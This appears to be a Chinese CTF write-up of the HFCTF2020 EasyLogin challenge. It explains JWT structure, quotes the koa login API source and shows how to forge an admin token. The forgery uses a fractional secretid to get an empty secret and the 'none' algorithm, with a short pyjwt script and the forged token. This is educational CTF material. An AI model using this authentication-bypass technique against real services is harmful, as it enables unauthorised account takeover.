• [HFCTF2020]EasyLogin


    [HFCTF2020]EasyLogin

    又是一道关于jwt伪造的题目

    再来回顾下jwt的一些知识吧

    jwt初识

    认识jwt

    https://www.cnblogs.com/cjsblog/p/9277677.html

    摘自上面的文章

    JSON Web Token的结构是什么样的

    img

    JSON Web Token由三部分组成,它们之间用圆点(.)连接。这三部分分别是:

    • Header
    • Payload
    • Signature

    因此,一个典型的JWT看起来是这个样子的:

    xxxxx.yyyyy.zzzzz

    接下来,具体看一下每一部分:

    header型的由两部分组成:token的类型(“JWT”)和算法名称(比如:HMAC SHA256或者RSA等等)。

    例如:

    img

    然后,用Base64对这个JSON编码就得到JWT的第一部分

    Payload

    JWT的第二部分是payload,它包含声明(要求)。声明是关于实体(通常是用户)和其他数据的声明。声明有三种类型: registered, public 和 private。

    • Registered claims : 这里有一组预定义的声明,它们不是强制的,但是推荐。比如:iss (issuer), exp (expiration time), sub (subject), aud (audience)等。
    • Public claims : 可以随意定义。
    • Private claims : 用于在同意使用它们的各方之间共享信息,并且不是注册的或公开的声明。

    下面是一个例子:

    img

    对payload进行Base64编码就得到JWT的第二部分

    注意,不要在JWT的payload或header中放置敏感信息,除非它们是加密的。

    Signature

    为了得到签名部分,你必须有编码过的header、编码过的payload、一个秘钥,签名算法是header中指定的那个,然对它们签名即可。

    例如:

    HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

    签名是用于验证消息在传递过程中有没有被更改,并且,对于使用私钥签名的token,它还可以验证JWT的发送方是否为它所称的发送方。

    做题前期准备工作

    一个登录框,注册一个账号登录进去看看

    发现有个get flag按钮,但是会被permission denied,猜测需要admin权限

    dirsearch扫了下也没啥新的发现

    查看WP发现,需要读取controllers/api.js

    那么问题来了,怎么知道要读取这玩意儿呢?一切都是经验......

    懂得都懂,不懂别问。菜鸡也只能默不作声,好好看,好好学了。

    查看/static/js/app.js,发现提示知道是koa框架

    /**
     *  或许该用 koa-static 来处理静态文件
     *  路径该怎么配置?不管了先填个根目录XD
     */
    

    首先这是一个koa框架,用nodejs写的,先看一下框架的目录结构

    访问/controllers/api.js得到主要逻辑代码

    const crypto = require('crypto');
    const fs = require('fs')
    const jwt = require('jsonwebtoken')
    
    const APIError = require('../rest').APIError;
    
    module.exports = {
        'POST /api/register': async (ctx, next) => {
            const {username, password} = ctx.request.body;
    
            if(!username || username === 'admin'){
                throw new APIError('register error', 'wrong username');
            }
    
            if(global.secrets.length > 100000) {
                global.secrets = [];
            }
    
            const secret = crypto.randomBytes(18).toString('hex');
            const secretid = global.secrets.length;
            global.secrets.push(secret)
    
            const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
    
            ctx.rest({
                token: token
            });
    
            await next();
        },
    
        'POST /api/login': async (ctx, next) => {
            const {username, password} = ctx.request.body;
    
            if(!username || !password) {
                throw new APIError('login error', 'username or password is necessary');
            }
    
            const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
    
            const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
    
            console.log(sid)
    
            if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
                throw new APIError('login error', 'no such secret id');
            }
    
            const secret = global.secrets[sid];
    
            const user = jwt.verify(token, secret, {algorithm: 'HS256'});
    
            const status = username === user.username && password === user.password;
    
            if(status) {
                ctx.session.username = username;
            }
    
            ctx.rest({
                status
            });
    
            await next();
        },
    
        'GET /api/flag': async (ctx, next) => {
            if(ctx.session.username !== 'admin'){
                throw new APIError('permission error', 'permission denied');
            }
    
            const flag = fs.readFileSync('/flag').toString();
            ctx.rest({
                flag
            });
    
            await next();
        },
    
        'GET /api/logout': async (ctx, next) => {
            ctx.session.username = null;
            ctx.rest({
                status: true
            })
            await next();
        }
    };
    

    注册的用户名不能为admin,然后生成jwt令牌。

    整套逻辑就是注册->登录为admin->得到flag

    利用方式

    利用nodejs的jwt缺陷,当jwt的secret为空,jwt会采用algorithm为none进行解密。

    js是弱语言类型,我们可以将secretid设置为一个小数或空数组(空数组与数字比较时为0)来绕过secretid的一个验证(不能为null&undefined)

    if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
                throw new APIError('login error', 'no such secret id');
            }
    

    这样secrret为空,加密算法也为none,成功绕过jwt验证

    核心解题过程

    登录时抓包,将authorization的值复制到https://jwt.io/看一下

    image-20200805194948411

    之后伪造jwt,按照网页那样构造一下,没安装jwt库的话pip install pyjwt即可

    import jwt
    token = jwt.encode({"secretid":0.1,"username": "admin","password": "123","iat": 1596626836},algorithm="none",key="").decode(encoding='utf-8')
    print(token)
    #eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6MC4xLCJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjMiLCJpYXQiOjE1OTY2MjY4MzZ9.
    

    修改username和authorization,这里要注意username和password要和构造的值一样,go一下,发现status返回true,我们拿到了sses:aok和sses:aok:sig的值

    image-20200805194313822

    然后抓一下getflag页面的包,修改刚才说到的两个值,因为已经拿到了admin权限,所以可以getflag了

    image-20200805194905883

  • 相关阅读:
    一天一个 Linux 命令(44):ifstat 命令
    Java集合框架示意图
    Java中String类常见问题汇总
    一天一个 Linux 命令(43):netstat 命令
    Windows系统下,如何设置maven字符编码
    Java文件操作编程
    Java 注解(Annotation)
    Linux Centos7.4 更新Java jdk版本
    Java基础(6)Java数据类型扩展
    Windows系统下Elasticsearch7.15.2单服务器配置多节点
  • 原文地址:https://www.cnblogs.com/LEOGG321/p/13442313.html
Copyright © 2020-2023  润新知